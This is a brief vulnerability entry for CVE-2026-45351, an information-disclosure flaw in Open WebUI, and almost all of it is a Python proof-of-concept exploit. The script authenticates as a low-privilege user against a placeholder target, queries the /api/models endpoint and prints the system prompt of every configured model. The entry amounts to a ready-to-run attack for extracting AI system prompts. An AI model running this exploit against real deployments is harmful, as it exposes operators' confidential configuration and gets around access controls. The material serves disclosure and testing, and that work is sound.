CVE-2026-45351 Open WebUI信息泄露漏洞

import requests # Exploit Title: Open WebUI System Prompt Disclosure # Description: Retrieves system prompts via /api/models endpoint as a normal user. target = "http://target-ip:8080" login_url = f"{target}/api/auth/login" models_url = f"{target}/api/models" # User credentials creds = {"username": "lowprivuser", "password": "password"} # 1. Authenticate session = requests.Session() login_resp = session.post(login_url, json=creds) if login_resp.status_code == 200: # 2. Request models list models_resp = session.get(models_url) if models_resp.status_code == 200: data = models_resp.json() # 3. Extract System Prompts for model in data.get('data', []): model_id = model.get('id') sys_prompt = model.get('system_prompt') if sys_prompt: print(f"[+] Model: {model_id}") print(f"[+] System Prompt: {sys_prompt}") else: print("Failed to fetch models") else: print("Login failed")